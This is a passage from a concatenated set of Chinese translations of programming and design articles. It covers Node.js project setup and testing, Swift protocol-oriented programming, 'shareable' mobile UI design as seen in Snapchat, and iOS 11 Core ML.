文件中。事实上,我们还需要将一些其他的内容添加进去: ``` node_modules build npm-debug.log .env .DS_Store ``` 如果你还是想记录应用所需的配置信息,我通常喜欢添加一份 `.env` 文件的副本,并将应用密文写进去。新用户可以复制该文件,将其命名为 `.env` 并自定义设置选项、关闭文件然后运行。我会将提交的副本文件命名为 `.env.example` 并在项目的 `README.md` 文件中写一份开发指南。 [可将应用的配置项写入 `.env.example` 文件,并将敏感配置信息以加密形式处理,仅作为配置内容示例,译者注。] ``` PORT=5150 AWS_KEY= ``` 你应该注意,如我所言,所有的应用密文全都要写在 `.env.example` 文件中。 > 不要将你的应用密文提交到 Git 仓库。 ### 测试 Node 应用 我喜欢用 [Supertest](https://github.com/visionmedia/supertest) 来测试 Node 应用,它会抽象出 http 连接问题,并且提供一个简单、流畅的 API。我用 [functional tests](https://www.sitepoint.com/javascript-testing-unit-functional-integration/) 进行 http 端点测试,它让我不必担心模拟数据库等问题。我只需要点击 API 并传入一些值,然后静候一个具体的响应。 以下是一个使用 Supertest 和 [Tape](https://medium.com/javascript-scene/why-i-use-tape-instead-of-mocha-so-should-you-6aa105d8eaf4) 测试的一个简单的实例: ``` const test = require('tape'); const request = require('supertest'); const app = require('app'); test('get /', assert => { request(app) .get('/') .expect(200) .end((err, res) => { const msg = 'should return 200 OK'; if (err) return assert.fail(msg); assert.pass(msg); assert.end(); }); }); ``` 我也会给任何我用于构建 API 的稍小的、可重用的模块写[单元测试](https://medium.com/javascript-scene/what-every-unit-test-needs-f6cd34d9836d)。 需要注意的是,我们直接导入了快速应用,而没有使用网络。Supertest 并不需要读取应用配置来确定连接端口,它将所有的细节都封装起来,为了能够正常工作,你需要在应用文件中导出你的应用。 `module.exports = app;` 基于这样和那样的原因,我将应用分割成许多不同的切片,在 `app.js` 中搭建并配置应用,在 `server.js` 中导入应用,在 `app.listen()` 中处理网络细节。 #### 设置 Node 路径 当你将应用划分为多个模块时,你将会对相对路径的引入关系感到不胜其烦: `const app = require('../../app');` 幸运的是,你不需要这样做。把你的应用文件放在名为 `source` 或者 `src` 的目录中,然后设置 `NODE_PATH` 环境变量。你可以使用 `cross-env` 设置环境变量,使他们可以跨平台使用(可以在 Windows 下读取并运行应用)。 `npm install --save cross-env` 之后,你可以很安全地在 `package.json` 脚本中设置环境变量: ``` "scripts": { "start": "cross-env NODE_PATH=source node source/server.js", "debug": "cross-env NODE_PATH=source node --debug-brk --inspect source/server.js", "test": "cross-env NODE_PATH=source node source/test/index.js" } ``` 设置 `NODE_PATH` 之后,你可以这样引入模块: `const app = require('app');` 超赞! ### 中间件 [Express](http://expressjs.com/) 是 Node 应用中最流行的框架,它使用延续传递的方式实现中间件。如果你有可能在许多路由中都会运行相同的代码,也许最好的方式是将它们写入中间件。 中间件其实是一个函数,他能够调用一个名为 `next()` 的函数,来传递请求和响应对象。假如你想在每个请求和响应中都添加一个 `requestId` ,从而能够很方便地在调试中追踪单个请求或者在日志中搜索内容,你可以写一个像这样的中间件: ``` require('dotenv').config(); const express = require('express'); const cuid = require('cuid'); const app = express(); // 请求 id 的中间件 const requestId = (req, res, next) => { const requestId = cuid(); req.id = requestId; // 延续传递至下一个中间件 next(); }; app.use(requestId); app.get('/', (req, res) => { res.send('\n\nHello, world!\n\n'); }); module.exports = app; ``` ### 内存管理 因为 Node 是单线程的,这也意味着所有的用户都会共享同一块内存空间。换句话说,不像是在浏览器中,你不得不当心不要在闭包函数中保存某个特定用户的数据,因为其他的连接可能会拿到那些数据。正因如此,我喜欢用 `res.locals` 来存储当前用户的信息,这只在该用户的请求和响应循环中可用。 ``` app.use((req, res, next) => { res.locals.user = req.user; res.locals.authenticated = !req.user.anonymous; next(); }); ``` 这也是一个用来存储上文提到的 `requestId` 的更好的办法。 ### 调试 Node 应用 Node v6.4.x+ 版本中集成了完整的 Chrome 调试工具,因此你可以像在浏览器中调试 JS 应用一样调试 Node。 要使用调试功能,你只需简单的在断点处添加一个调试声明,然后运行: `node --debug-brk --inspect source/app.js` 在浏览器中打开所提供的 URL,之后你就能得到一个交互式的调试环境。 ![](https://d262ilb51hltx0.cloudfront.net/max/1600/1*U0VOYcBh6FBzVhtsjqvf4Q.png) 我会使用 `--debug-brk` 默认地在起点设置一个断点,但是你也可以取消。要记住,你可能需要在浏览器中点击路由或者从 curl 中触发路由处理机制并且点击你的断点位置。 你可能知道的,Chrome 的开发工具集成了非常有价值的调试信息。你能够浏览、检查内存管理并监控内存泄漏、一次只执行一行代码、鼠标悬停在变量上来查看变量的值等等。 ### 应用崩溃 进程崩溃。众生皆如此,你的服务器在运行中可能会遭遇一个它无法处理的错误。不要苦恼,记录下错误信息,关闭服务器然后重新运行一个新的实例。 你绝对不能像这样做: ``` process.on('uncaughtException', (err) => { console.log('Oops!'); }); ``` 当出现未捕获的异常时,你必须关闭进程,因为从定义上来讲,如果你不知道应用哪里出了问题,你的应用就处在一种不可知不明确的状态,并且随处都有可能产生错误。 你可能会造成资源泄漏,用户可能看到错误的数据,你可能会得到各种疯狂的不明确的应用操作。当产生一个你意料之外的异常时,记录下错误信息,清理所有你能清理的资源,并且关闭进程。 我用 Node 写了一个优雅的错误处理模块,在此检出 [express-error-handler](https://github.com/ericelliott/express-error-handler)。 #### 崩溃修复 有各种各种的服务器监控工具可以检测崩溃并且修复服务来保持应用运行流畅,即使是遇到了未知异常,它们同样有效。 我极力推荐 [PM2](http://pm2.keymetrics.io/) ,因为不光我在使用它而且它也深受许多公司的信赖,比如 Microsoft,IBM 和 PayPal。 安装的时候,运行 `npm install -g pm2`,在本地安装就使用 `npm install --save-dev pm2` 命令。之后你就可以使用 `pm2 start source/app.js` 来运行应用了。 你可以用 `pm2 list` 管理运行的应用实例,也可以使用 `pm2 stop` 来终止实例。查看更多细节请点击 [quick start](http://pm2.keymetrics.io/docs/usage/quick-start/)。 福利:PM2 能配置集成 [Keymetrics](https://keymetrics.io/),它能以非常友好的 web 界面为你的生产应用实例提供很棒的调试意见。 ### 小结 我们仅仅是蜻蜓点水一般地了解了 Node,还有很多的东西需要我们去学习,包括会话管理、token 验证、API 设计等等。我对其中一些内容做了更深刻地阐释,详见 [“Programming JavaScript Applications”](http://pjabook.com/)(免费)。 * * * 想学习更多 Node 的知识?我们为 EricElliottJS.com 的会员发行了新的 Node 视频系列,如果你不是会员,那么好机会就与你擦肩而过啦! * * * **_Eric Elliott_**是 [**_“Programming JavaScript Applications”_**](http://pjabook.com/)(O’Reilly) 和 [**_“Learn JavaScript with Eric Elliott”_**](http://ericelliottjs.com/product/lifetime-access-pass/) 的作者。他曾在 **_Adobe Systems_**_,_ **_Zumba Fitness_**_,_ **_The Wall Street Journal_**_,_**_ESPN_**_,_ **_BBC_** 的软件开发领域立下汗马功劳,也曾为顶级唱片大师 **_Usher_**_,_ **_Frank Ocean_**_,_**_Metallica_** 等人量身定制。 **他的大部分时光都是和世界上最美丽的女人在旧金山海湾地区度过的。** ================================================ FILE: TODO/introduction-to-protocol-oriented-programming-in-swift.md ================================================ > * 原文地址:[Introduction to Protocol Oriented Programming in Swift](https://medium.com/ios-geek-community/introduction-to-protocol-oriented-programming-in-swift-b358fe4974f#.ezvkbpy7o) * 原文作者:[Bob Lee](https://medium.com/@bobleesj?source=post_header_lockup) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Danny Lau](https://github.com/Danny1451) * 校对者:[Tuccuay](https://github.com/Tuccuay) [lovelyCiTY](https://github.com/lovelyCiTY) # Swift 面向协议编程入门 # ## 面向对象编程的思想没毛病,但老铁你可以更 666 的 ## ![](https://cdn-images-1.medium.com/max/2000/1*5yuIezhfETFouNNTablgSA.jpeg) 上图这个人不是我,但这就是使用面向协议编程替换掉面向对象编程之后的感觉。 #### 介绍 #### 这个教程也是为了那些不知道类和结构体根本区别的人写的。我们都知道在结构体里是没有继承的,但是为什么没有呢? 如果你不知道上面问题的答案,那么花几秒钟看下下面的代码。请再次原谅我的排版,我已经让它尽可能的简单明了了。 >注:译者已经改过排版了🤔 ``` class HumanClass { var name: String init(name: String) { self.name = name } } var classyHuman = HumanClass(name: "Bob") classyHuman.name // "Bob" var newClassyHuman = classyHuman // Created a "copied" object newClassyHuman.name = "Bobby" classyHuman.name // "Bobby" ``` 当我把 newClassyHuman 的 name 属性设为 “Bobby” 之后,原来对象 classyHuman 的 name 属性也会变成 “Bobby” 。 现在,让我们来看一下结构体的情况。 ``` struct HumanStruct { var name: String } var humanStruct = HumanStruct(name: "Bob" ) var newHumanStruct = humanStruct // Copy and paste newHumanStruct.name = "Bobby" humanStruct.name // "Bob" ``` 你看到它们的不同之处了么?对拷贝出来的对象的 name 属性的改变并没有影响到原有的 humanStruct 对象。 在类中,当你对一个变量进行拷贝的时候,两个变量都指向内存中的同一个对象。两个中的任何一个变量中的改变都会影响另外一个变量(引用类型)。然而在结构体中,你是通过创建了一个新的对象(值类型)来实现简单的拷贝和复制的。 如果你还没有理解的话,试着把之前那一段再看一遍。如果还是不理解的话,你可以看下我做的这个视频。 [结构体 vs 类课程](https://www.youtube.com/watch?v=MNnfUwzJ4ig) #### 再见面向对象编程 #### 你可能会很奇怪为什么我所讲的这些好像和面向协议编程的话题一点关系都没有。然而,在我讲使用面向协议编程替换面向对象编程的好处之前,是必须要理解引用类型和值类型的区别的。 使用面向对象编程当然有优点的,但是相对的缺点也存在。 1. 当时构建子类的时候,你必须继承一些你不需要的属性和方法。你的对象变得不必要的虚胖。 2. 当时使用了大量的父类(太多继承层级),在不同的类里面跳来跳去编写代码或者修复 bug 都会变得非常棘手。 3. 因为对象都是指向内存中的同一个空间,如果你创建了一个拷贝,并且对它的属性进行了一点小改动,它会影响到其余的对象。(引用导致的易变性) 顺便说一下,来看一下 UIKit 框架是怎么用面向对象编程来写的。 ![2015 WWDC_Hideous Structure](https://cdn-images-1.medium.com/max/800/1*hjEXB3PGUOSbxet0qUJRNA.png) 如果你作为软件工程师第一次去苹果工作的话,你能使用这些代码么?我的意思是我们开发者在界面层使用中都有过很痛苦的经历。 **有人说过面向对象编程就是通过模块化的模式来写意大利面条式的代码。如果你想找到更多关于面向对象编程的缺点的话,看这里的**[**咆哮 1**](http://krakendev.io/blog/subclassing-can-suck-and-heres-why) 、[**咆哮 2**](https://blog.pivotal.io/labs/labs/all-evidence-points-to-oop-being-bullshit) 、[**咆哮 3**](http://www.smashcompany.com/technology/object-oriented-programming-is-an-expensive-disaster-which-must-end) 、[**咆哮 4**](https://www.leaseweb.com/labs/2015/08/object-oriented-programming-is-exceptionally-bad/) 。 #### 欢迎使用面向协议编程 #### 你可能已经猜到了,和类不一样的是,面向协议编程的基础是值类型。不再是引用了,和你之前看到的金字塔结构不一样,面向协议所提倡的是扁平化和去嵌套的代码。 可能会有点吓到你,我将引出的是苹果的定义。 “协议定义了方法、属性的蓝图…… 然后类、结构体或枚举类型都能够使用协议” — 苹果 你现在唯一需要记住的就是这个词语,“蓝图”。 协议就好像是一个篮球教练,他告诉他的队员该怎么做,但是他却不知道怎么扣篮。 #### 真正的使用面向协议编程 #### 首先,我们来生成人的蓝图。 ``` protocol Human { var name: String { get set } var race: String { get set } func sayHi() } ``` 就像你看到的,在协议里是没有真正的”扣篮“。它只会告诉你有那么个东西的存在。顺便说一下,现在你不需要担心 { get set } 。它只是表示你可以改变这个属性的值并能够获取这个属性。除非你用的是一个计算属性话,现在是不用担心的。 现在让我们通过这个协议来写一个韩国人 🇰🇷 结构体 ``` struct Korean: Human { var name: String = "Bob Lee" var race: String = "Asian" func sayHi() { print("Hi, I'm \(name)") } } ``` 一旦这个结构体采用了人类这个协议,它就必须”遵循”这个协议,实现它的所有属性和方法。如果不这么做的话, Xcode 会警报,当然左边也会报错 😡 。 就像你看到的,为了满足蓝图你能够自定义所有的协议。你甚至可以建造一个“围墙”。 当然,对美国人 🇺🇸 来说也是一样的。 ``` struct American: Human { var name: String = "Joe Smith" var race: String = "White" func sayHi() { print("Hi, I'm \(name)") } } ``` 是不是相当酷?看看不再使用 “init” 和 “override” 关键词之后你拥有了多少自由。它是不是开始变得有点意思了? [协议介绍课程](https://www.youtube.com/watch?v=lyzcERHGH_8&t=2s&list=PL8btZwalbjYm5xDXDURW9u86vCtRKaHML&index=1) #### 协议继承 #### 如果你想创建一个继承人类协议蓝图的超人协议该怎么办呢? ``` protocol SuperHuman: Human { var canFly: Bool { get set } func punch() } ``` 现在,如果你想生成一个采用超人协议的结构体或者类的话,你必须也要让它满足人类的协议。 ``` // 💪 超过 9000 struct SuperSaiyan: SuperHuman { var name: String = "Goku" var race: String = "Asian" var canFly: Bool = true func sayHi() { print("Hi, I'm \(name)") } func punch() { print("Puuooookkk") } } ``` 那些理解不了的人,看下这个[视频](https://www.youtube.com/watch?v=5196mjp9fcU) 当然,你可以像在类上面一样遵循多个协议。 ``` // 例子 struct Example: ProtocolOne, ProtocolTwo { } ``` [协议继承课程](https://www.youtube.com/watch?v=uT7AZQBD6-w&list=PL8btZwalbjYm5xDXDURW9u86vCtRKaHML&index=2) #### 协议扩展 #### 现在,这是使用协议最强大的特点了,我不认为我需要讲太多。 ``` // 会说英语的超级动物 protocol SuperAnimal { func speakEnglish() } ``` 给 SuperAnimal 增加一个扩展 ``` extension SuperAnimal { func speakEnglish() { print("I speak English, pretty cool, huh?") } } ``` 现在,让我们来创建一个采用 SuperAnimal 协议的类。 ``` class Donkey: SuperAnimal { } var ramon = Donkey() ramon.speakEnglish() // "I speak English, pretty cool, huh?" ``` 如果你使用扩展的话,你能够给类,结构体和枚举增加默认方法和属性。它难道不神奇么?我发现这是真正的金块啊。 顺带提一下,如果你没有理解的话,你可以看[这个](https://www.youtube.com/watch?v=MzLEjzvygYE) [Protocol Extension Lesson](https://www.youtube.com/watch?v=ZydVdiFj3WM&list=PL8btZwalbjYm5xDXDURW9u86vCtRKaHML&index=3) #### 协议作为类型 (Last) #### 如果我告诉你不需要类型修饰就能够生成一个既包含结构体对象又有类对象的数组呢? 就是这样。 我用为获得雌性配偶而打架的袋鼠来举个例子。如果你不相信我的话,看看这个[袋鼠打架](https://www.youtube.com/watch?v=WCcLMNcWZOc&t=129s) ``` protocol Fightable { func legKick() } struct StructKangaroo: Fightable { func legKick() { print("Puuook") } } class ClassKangaroo: Fightable { func legKick() { print("Pakkkk") } } ``` 来,我们生成两个袋鼠对象 ``` let structKang = StructKangaroo() let classKang = ClassKangaroo() ``` 现在,你可以把它们放到一个数组里了。 ``` var kangaroos: [Fightable] = [structKang, classKang] ``` 厉害了我的哥,这是真的么?😱 看看这个 ``` for kang in kangaroos { kang.legKick() } // "Puuook" // "Pakkkk" ``` 这个难道不巧妙么?你在面向对象编程中怎么可能实现这个效果... 封面的图片是不是对你来说已经有意义了?面向协议编程纯粹是金子啊。 [协议类型课程](https://www.youtube.com/watch?v=PxWoWmJAMiA&list=PL8btZwalbjYm5xDXDURW9u86vCtRKaHML&index=4) ![](https://cdn-images-1.medium.com/max/1000/1*6gtsyoBiGnwGpE9gFITlSw.png) 现在是免费的,直到它发布之前:) #### **最后提示** #### 如果你觉得这个教程有用的话,而且你认为我做了一个很棒的事情,请 ❤️ 我并且分享到你的社交圈中。我发誓,更多的 iOS 开发者都该应该使用面向协议编程 !我也在努力中,所以才写了这个文章,但是为了更大的影响我需要你的支持。 #### 公开感谢 #### 特别感谢那些参与和指出各处问题的人们。[Kilian Költzsch](https://medium.com/u/349636c3001c) , [Erik Krietsch](https://medium.com/u/dd5ed617a156), [Özgür Celebi](https://medium.com/u/25d83dd03e02) , [Sanchika Singh Rana](https://medium.com/u/77243d9a97fe), [Frederick C. Lee](https://medium.com/u/371511f27079) , [moh tabi](https://medium.com/u/21b724ed8bc8) , [october hammer](https://medium.com/u/5b8a0ae35a7d) , [Anthony Kersuzan](https://medium.com/u/a650a21c13f1) , [Kenneth Trueman](https://medium.com/u/1d5eb30a7418) , [Wilson Balderrama](https://medium.com/u/15294c9ab368) , [Rowin](https://medium.com/u/1231cd205c16) , [Quang Dinh Luong](https://medium.com/u/c71180f83786) , [Oren Alalouf](https://medium.com/u/52c31b8c769d) , [Peter Witham](https://medium.com/u/471adcab696e) , [Victor Tong](https://medium.com/u/449b3f6dffd5). ### 预告 ### 这个周六,我将写一些关于在 Swift 3 中如何通过协议实现代理的设计模式的东西。有些人让我写这个,所以我决定听你们的。如果你想要快速更新或者请求我的文章的话,你可以关注我[**Facebook Page**](https://www.facebook.com/bobthedeveloper/),那里我和我的读者有很多的互动。再见! ================================================ FILE: TODO/intuitive-design-vs-shareable-design.md ================================================ * 原文地址:[Intuitive Design vs. Shareable Design](https://news.greylock.com/intuitive-design-vs-shareable-design-88ff6bb184bb#.pvcpqeddr) * 原文作者:[Josh Elman ]( https://news.greylock.com/@joshelman) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[特伦](https://www.behance.net/Funtrip) * 校对者:[marcmoore](http://ucashin.com)、[L9m](http://liudm.me) # **直观设计 VS. 共享式设计** Snapchat 的界面使很多人困惑。这并不是欺负老年人,而是稍微有些年纪的人都会遇到,他们想在Snapchat里处理一些基础操作都很困难。比如说找到它的换脸功能。我无法告诉你有多少人曾向我抱怨 Snapchat。「噢,我想不明白,」他们很苦恼,「为什么它那么复杂?」 我在这里就是想要告诉你,Snapchat 里那些隐晦的设计不是一个 bug,而是一个 feature。就像 Tinder,它的设计非常吸引用户并鼓励他们与其他用户分享使用的经验。实际上,这是一个能[让 Snapchat 如此成功](http://www.wsj.com/articles/snap-begins-the-ipo-process-1479244471)的关键点。 Snapchat 是被我所称为的「共享式设计」中的一个最好的例子。对于那些在成长过程中一直把「直观设计」作为终极理想的人来说,这种新方向有点突兀。但一旦你弄懂它是如何运作的,你将会认为它是非常有道理的。 #### **直观设计的革命** 我不是想要贬低直观设计。实际上,当上个世纪 80 年代直观设计出现的时候,这对于过去的计算机界面来说是一个巨大的飞跃,从上个世纪 60 年代到 70年代,计算机界面复杂,不直观,需要大量的学习才能去使用它们。那些界面需要你记住大量的命令行并且在正确的时间回想起正确的那一个条目。人们很骄傲于自己能记住许多的命令和参数,而无需去查找手册。 图形用户界面(GUI)是一个巨大的进步。不像那些为团队工作,在指定的计算机机房使用大型机或微型计算机的用户,个人电脑用户通常是在家或者在他们的办公室里试图弄明白自己的电脑和软件。他们没有时间去阅读手册或者去上一门课程只为了学习如何使用一个新的软件。有的人只是需要坐在他们的桌子前,打开一个软件,比如说电子表格,他们希望能够轻松使用它们。软件公司为了打开这部分市场必须让软件变得直观,好让你可以自己去探索如何使用它们。 ![](https://cdn-images-1.medium.com/freeze/max/30/1*4QMlSI-DHb0k7His7Hx84g.png?q=20) 以前微软 Excel 的工具栏 比如,微软用了大量的时间去弄明白如何把软件设计地更加直观。我们可以针对他们在审美上是否成功保留见解,但是像 Excel 这样的软件来说它在市场上是非常成功的,因为用户有很多种方法去探索它里面的功能,只需要随处点击。这就是为什么工具栏和菜单栏看上去会像这样。它们很丑,但它们是有用的,因为它们足够**直观**。当然了,如果还不够简单,人们会去买书并跟着上面的步骤一步一步学习。我曾经花费了一个夏天的时间来实习,在一家叫做 Catapult Press 的公司作为[Microsoft Step by Step books](https://www.microsoftpressstore.com/series/series_detail.aspx?st=99028) 的「校验员」,当我在书中寻找错误的时候,我以最无聊的方式学习了这本书。 在那个同样的时代,苹果花费了很多时间去弄明白如何让它们的操作系统变得尽可能地直观。苹果在 1987 年出版了一本书来介绍它们的人机交互指南,这本书从 Macintosh 时代甚至到互联网时代都[影响非凡](http://tantek.pbworks.com/w/page/34457520/Web%20Human%20Interface%20Guidelines) 。 所有的这些作品都是基于出色的软件和产品设计师们在 80 年代和 90 年代的研究。Don Norman 的 [*Design of Everyday Things*(日常设计)](http://www.jnd.org/books/design-of-everyday-things-revised.html)在软件设计师中非常有影响力,尽管它是专注于工业设计(实物设计)。Brenda Laurel 的书 [*The Art of Human-Computer Interface Design*(人机交互设计的艺术)](https://www.amazon.com/exec/obidos/ASIN/0201517973/o/qid=981345710/sr=2-1/103-8893962-0315059)于 1990 年出版,它现在还在我的书架上。这些书都是具有开创性的作品,它们的影响力一直持续到了今天。 #### **移动设备让一切变得触手可及** 当 2008 年科技界开始聚焦于移动设备的时候,一切事都改变了。突然间,软件设计师不再只把坐在办公桌前为自己工作的人作为目标用户。世界各地的用户在自己的手机上使用他们所制作的 app,周围常常有其他人:他们的朋友们、家人们、同学和同事。 ![](https://cdn-images-1.medium.com/max/800/1*DTTjwC4XI41I6NTMzxUJlg.gif) 物理世界的手势,就像滑动,放大,和点击这样的手势是自然和人性化的。 当界面设计转变到移动设备之后,创造了两个互补的新趋势。一个是用到了更多的物理世界的手势。因为你会直接用你的手指去触摸软件,而不是用鼠标或键盘去操作它,这让人感觉更加人性化。甚至小孩子们也能明白这个:看看这个视频吧[小宝宝试着点击和放大一本杂志](https://www.youtube.com/watch?v=aXV-yaFmQNk),因为他想要让它能像 iPad 一样运作。滑动,捏起,放大,点击:所有这些操作都在直观地模拟自然的人类身体手势。几年前我写了一篇文章,讲述了「[触摸的革命](https://techcrunch.com/2013/09/29/generation-touch-will-redraw-consumer-tech/) 」是怎样把不同的产品连接起来的,因为它们直接相互作用。 第二个转变,这是许多界面设计师都还没有明白的,那就是人们在现实世界中通过观察他人来学习新的事物。大多数 18 岁的孩子们通过观察他们的朋友们来学习如何使用一个新应用。教程就在那里,在他们朋友的手机上,所以他们只需要把手机拿出来并向他们展示怎么做。 这实际上是回归到一种我们原本去学习事物的方式。你通过观察其他人学习了扔一个球,捡起一顶帽子,系好你的鞋带还有打开一扇门。当你再长大一些,你可能通过别人的教导学会了如何骑自行车或者驾驶汽车。所以,如果现在应用变得更加物理化(在应用的层面),为什么我们不可以通过观察他人来学习它呢? 你想知道如何使用 Snapchat 吗?套用 [Groucho Marx](https://www.brainyquote.com/quotes/quotes/g/grouchomar141793.html) 的话,这很容易:只需要[找到一个十几岁的孩子来告诉你](https://www.youtube.com/watch?v=T-VVv6D9ot0)。有些很会玩应用的人可以告诉你任何事,从怎样拍照片并在上面涂鸦到如何使用滤镜,如何得到隐藏颜色的画笔,比如黑色或白色,如何使用换脸功能,如何用二维码添加好友,甚至更多更多。 #### **进入共享式设计** 共享式设计深刻理解了人类的学习本能这一社会属性,并利用人们的欲望去学习和教学。 在这方面做得很聪明,因为这些看似不起眼的特点是一个机会,让它的使用者们可以向他们的朋友去展示一些很酷的新玩意儿。给朋友看一些很酷的东西可以增加你的社交地位,或者是给你一种很棒的感觉。这绝对是你愿意去做的事!对于 Snapchat 来说,这是很棒的,因为它将你变成了一个它们产品的「传教士」,你甚至不觉得你在「传教」:你只是在教你的朋友如何灵活地做一件事。 ![](https://cdn-images-1.medium.com/max/800/1*RQYCS0leu9YR8TrLQUruaQ.gif) Musical.ly 的影片在 Instagram,Facebook 和 Twitter 上传播得非常广泛。 像这样的分享也并不一定只发生在人之间。Musical.ly 在 2015 年开始成长为一个很酷的应用的时候,它是用来制作有趣的音乐视频的。当人们在 Instagram 或者 Facebook 上分享他们的 Musical.ly 视频的时候,你常常会看到他们的朋友询问这些东西是如何制作的。这给了人们一个机会说,「噢,我在用 Musical.ly。」它通过受众,一个人传播给另一个人的,因此 Musical.ly 成长地非常迅速。 除了鼓励分享,这种设计还有两个好处。一,它使功能点变得非常难忘。如果有人告诉你在你的 iPhone 上长按一个人的名字,这样会有一个弹出菜单允许你把他们的信息保存到你的通讯录中,那你的印象会很深刻。这是一个与社交记忆相结合的物理记忆,所以它很容易在你脑海中留存。 另一个好处是,这些功能不占用任何屏幕空间。手机的屏幕真的很小,所以屏幕上你可以安排给按钮和图标的地盘也非常非常小。很显然,上个世纪 90 年代 Windows 应用里那被占满的工具栏在这里是不好用的。但那些 「看不见」 的功能,比如一个长按,一个 3D touch 「重」 按,或从屏幕顶划到顶部,这些操作都没有在占用屏幕上的地盘。 虽然我们还没有一本很好的书来介绍共享式设计,但是有些设计师,像 [Luke Wroblewski](http://www.lukew.com/),写了很多关于移动设备设计的有意思的文章,里面已经有这样一些概念。当然,也有一些应用程序和操作系统的设计者们理解了这个理念:比如 Snapchat,PRISMA,最新版本的 iOS,甚至在一定程度上 Twitter 也是这样。 我乐于看到更多的人研究和写关于共享式设计的文章。这是一个重要的领域,随着我们进入充满可穿戴设备,增强现实的更加多样化的移动设备世界,它会越发重要。如果你有什么好例子,也请多多沟通。 ================================================ FILE: TODO/ios-11-machine-learning-for-everyone.md ================================================ > * 原文地址:[iOS 11: Machine Learning for everyone](http://machinethink.net/blog/ios-11-machine-learning-for-everyone/) > * 原文作者:本文已获原作者 [Matthijs Hollemans](https://twitter.com/mhollemans) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[Changkun Ou](https://github.com/changkun/) > * 校对者:[wilsonandusa](https://github.com/wilsonandusa) [atuooo](https://github.com/atuooo) WWDC 2017 使一件事情变得非常清楚,那就是:Apple 正在全力以赴地支持「**设备上的机器学习**」了。 他们希望 App 的开发者们能够尽可能的简单的加入他们的行列中。 Apple 去年发布了可以用于创建基本的卷积神经网的 Metal CNN 和 BNNS 框架。今年,Metal 得到了进一步扩展,增加了一个全新的计算机视觉框架,以及 **Core ML**:一个能够轻松地将机器学习集成到 App 中的工具包。 [![Core ML framework](http://machinethink.net/images/ios11/CoreML.png)](http://machinethink.net/images/ios11/CoreML.png) 在这片文章中,我将就 iOS 11 和 macOS 10.13 中这些新推出的机器学习的内容,分享我自己的一些想法和经验。 ## Core ML Core ML 在 WWDC 上获得了极大的关注度,原因很简单:大部分开发者希望能够在他们的 App 中使用这个框架。 Core ML 的 API 非常简单。你只能用它做这些事情: 1. 加载一个训练好的模型 2. 做出预测 3. 收益!!! 这看起来好像很有限,但实际上你一般只会在 App 中加载模型和做出预测这两件事。 在 Core ML 之前,加载训练好的模型是非常困难的 —— 实际上,我写过[一个框架](http://github.com/hollance/Forge)来减轻这种痛苦。所以现在我对这一个简单的两步过程感到非常高兴。 模型被包含在了一个 **.mlmodel** 的文件中。这是一种新的[开源文件格式](https://pypi.python.org/pypi/coremltools),用于描述模型中的 layer、输入输出、标签,以及需要在数据上产生的任何预处理过程。它还包括了所有的学习参数(权重和偏置)。 使用模型所需的一切都在这一个文件里面了。 你只需要将 mlmodel 文件放入你的项目中,Xcode 将会自动生成一个 Swift 或 Objective-C 的包装类,使你能简单的使用这个模型。 举个例子,如果你把文件 **ResNet50.mlmodel** 添加到你的 Xcode 项目中,那么你就可以这么写来实例化这个模型: ```swift let model = ResNet50() ``` 然后做出预测: ```swift let pixelBuffer: CVPixelBuffer = /* your image */if let prediction = try? model.prediction(image: pixelBuffer) { print(prediction.classLabel) } ``` 这差不多就是所有要写的东西了。你不需要编写任何代码来加载模型,或者将其输出转换成可以从 Swift 直接使用的内容 —— 这一切都将由 Core ML 和 Xcode 来处理。 **注意:** 要了解背后发生了什么,可以在 Project Navigator 里选择 **mlmodel** 文件,然后点击 Swift generated source 右边的箭头按钮,就能够查看生成的帮助代码了。 Core ML 将决定自己到底是在 CPU 上运行还是 GPU 上运行。这使得它能够充分的利用可以用的资源。Core ML 甚至可以将模型分割成仅在 GPU 上执行的部分(需要大量计算的任务)以及 CPU 上的其他部分(需要大量内存的任务)。 Core ML 使用 CPU 的能力对于我们开发者来说另一个很大的好处是:你可以从 iOS 模拟器运行它,从而运行那些对于 Metal 来说做不到,同时在单元测试中也不太好的任务。 ### Core ML 支持什么模型? 上面的 ResNet50 例子展示的是一个图像分类器,但是 Core ML 可以处理几种不同类型的模型,如: - 支持向量机 SVM - 诸如随机森林和提升树的决策树集成 - 线性回归和 logistic 回归 - 前馈神经网、卷积神经网、递归神经网 所有这些模型都可以用于回归问题和分类问题。此外,你的模型可以包含这些典型的机器学习预处理操作,例如独热编码(one-hot encoding)、特征缩放(feature scaling)、缺失值处理等等。 Apple 提供了很多已经训练好的模型[可供下载](http://developer.apple.com/machine-learning/),例如 Inception v3、ResNet50 和 VGG16 等,但你也可以使用 [Core ML Tools](https://pypi.python.org/pypi/coremltools) 这个 Python 库来转换自己的模型。 目前,你可以转换使用 Keras、Caffe、scikit-learn、XGBoost 和 libSVM 训练的模型。转换工具只会支持具体指定的版本,比如 Keras 支持 1.2.2 但不支持 2.0。辛运的是,该工具是开源的,所以毫无疑问它将来会支持更多的训练工具包。 如果这些都不行,你还是可以随时编写自己的转换器。**mlmodel** 文件格式是开源且可以直接使用的(由 Apple 制定发布的一种 protobuf 格式) ### 局限 如果你想在你的 App 上马上运行一个模型, Core ML 很不错。然而使用这样一个简单的 API 一定会有一些限制。 - 仅支持**有监督**学习的模型,无监督学习和增强学习都是不行的。(不过有一个「通用」的神经网络类型支持,因此你可以使用它) - 设备上不能进行训练。你需要使用离线工具包来进行训练,然后将它们转换到 Core ML 格式。 - 如果 Core ML 不支持某种类型的 layer,那么你就不能使用它。在这一点上,你**不能**使用自己的 kernel 来扩展 Core ML。在使用 TensorFlow 这样的工具来构建通用计算图模型时,mlmodel 文件格式可能就不那么灵活了。 - Core ML 转换工具只支持**特定版本**的数量有限的训练工具。例如,如果你在 TensorFLow 中训练了一个模型,则无法使用此工具,你必须编写自己的转换脚本。正如我刚才提到的:如果你的 TensorFlow 模型具有一些 mlmodel 不支持的特性,那么你就不能在 Core ML 上使用你的模型。 - 你不能查看**中间层**的输出,只能获得最后一层网络的预测值。 - 我感觉下载模型更新会造成一些问题,如果你不想每次重新训练模型的时候都重写一个新版本的 App,那么 Core ML 不适合你。 - Core ML 对外屏蔽了它是运行在 CPU 上还是 GPU 上的细节 —— 这很方便 —— 但你必须相信它对你的 App 能做出正确的事情。即便你真的需要,你也不能强迫 Core ML 运行在 GPU 上。 如果你能够忍受这些限制,那么 Core ML 对你来说就是正确的选择。 